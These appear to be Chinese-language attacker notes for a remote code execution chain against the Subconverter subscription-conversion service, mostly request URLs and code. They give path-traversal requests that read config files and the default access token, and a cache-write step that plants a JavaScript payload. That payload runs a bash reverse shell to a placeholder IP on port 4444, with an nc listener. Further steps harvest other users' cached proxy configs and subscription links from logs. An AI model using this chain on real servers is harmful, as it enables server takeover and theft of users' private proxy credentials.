Subconverter订阅转换RCE漏洞

enable cache必须开启    
api_access_token需要知道，默认token为password

# 获取版本
/version

# qx-script接口(0.7.2-be878e1后被删除)
/qx-script?url=cHJlZi50b21s
/qx-script?url=cHJlZi55bWw
/qx-script?url=cHJlZi5pbmk

# convert接口(目前依然存在路径穿越到同目录下暴露配置token)
/convert?url=pref.toml
/convert?url=pref.ini
/convert?url=pref.yml

# 指令写入缓存目录
/sub?target=clash&url=http://1.1.1.1/payload

# payload
function parse(x){
os.exec(["sh","-c","bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1"])
}

# 反弹shell：
控制端运行：nc -lvp 1880
网页访问：/sub?target=clash&url=script:cache/md5,1&token=password

有/qx-script接口必有/convert，反之则不一定

# payload
/sub?target=clash&url=https://xxx.xxx.com/payload.txt

# 查看文件是否写入
/qx-script?url=Y2FjaGUvN2JjZDZjYjVlYjJiMzNhODhi
/convert?url=cache/7bcd6cb5eb2b33a88b

# 获取缓存->缓存执行
http://127.0.0.1:25500/sub?target=clash&url=script:cache/7bcd6cb5eb2b33a88b,1&token=password

# 查看获取的缓存文件名
/qx-script?url=Y2FjaGUvc2RxY2pxc2czNA==
/convert?url=cache/sdqcjqsg34

# 之后匹配带有_header的行数，拼接路径即可获取访问过这个站进行订阅转换的梯子配置
/convert?url=cache/xxx

1.获取到的缓存判断是v2或其他懒得弄        
2.获取订阅链接就很操蛋，如果是服务化可以用journalctl -fu nexconvert命令获取日志信息。如果没有服务化，则需要读取nginx配置文件获取日志路径，读日志去获取用户请求生成的订阅链接。关键字:url=    
3.shell弹回来不知道为什么不能执行命令 

webServer.append_response("GET", "/sub", "text/plain;charset=utf-8", subconverter);
webServer.append_response("GET", "/sub2clashr", "text/plain;charset=utf-8", simpleToClashR);
webServer.append_response("GET", "/surge2clash", "text/plain;charset=utf-8", surgeConfToClash);
webServer.append_response("GET", "/getruleset", "text/plain;charset=utf-8", getRuleset);
webServer.append_response("GET", "/getprofile", "text/plain;charset=utf-8", getProfile);
webServer.append_response("GET", "/qx-script", "text/plain;charset=utf-8", getScript);
webServer.append_response("GET", "/qx-rewrite", "text/plain;charset=utf-8", getRewriteRemote);
webServer.append_response("GET", "/render", "text/plain;charset=utf-8", renderTemplate);
webServer.append_response("GET", "/convert", "text/plain;charset=utf-8", getConvertedRuleset);

/sub?target=clash&url=https://xxx.xxx.com/payload

std::string argTarget = getUrlArg(argument, "target"), argSurgeVer = getUrlArg(argument, "ver");
std::string argUrl = urlDecode(getUrlArg(argument, "url"));
bool authorized = !global.APIMode || getUrlArg(argument, "token") == global.accessToken, strict = argUpdateStrict.size() ? argUpdateStrict == "true" : global.updateStrict;

if(!argUrl.size() && (!global.APIMode || authorized))
    argUrl = global.defaultUrls;
if((!argUrl.size() && !(global.insertUrls.size() && argEnableInsert)) || !argTarget.size())
{
    *status_code = 400;
    return "Invalid request!";
}

1.先匹配url是否符合正则
2.然后调用addNodes函数

Value eval(std::string_view buffer, const char * filename = "<eval>", unsigned eval_flags = 0)
{
    assert(buffer.data()[buffer.size()] == '&#x0;' && "eval buffer is not null-terminated"); // JS_Eval requirement
    JSValue v = JS_Eval(ctx, buffer.data(), buffer.size(), filename, eval_flags);
    return Value{ctx, v};
}

function parse(x){
    os.exec(["sh","-c","bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1"])
}

/sub?target=clash&url=script:cache/9934daae5fb293a3572cf3599d87784f,1&token=HAQVonsXYJVrDGNJYM10rCh5UuTdLBQq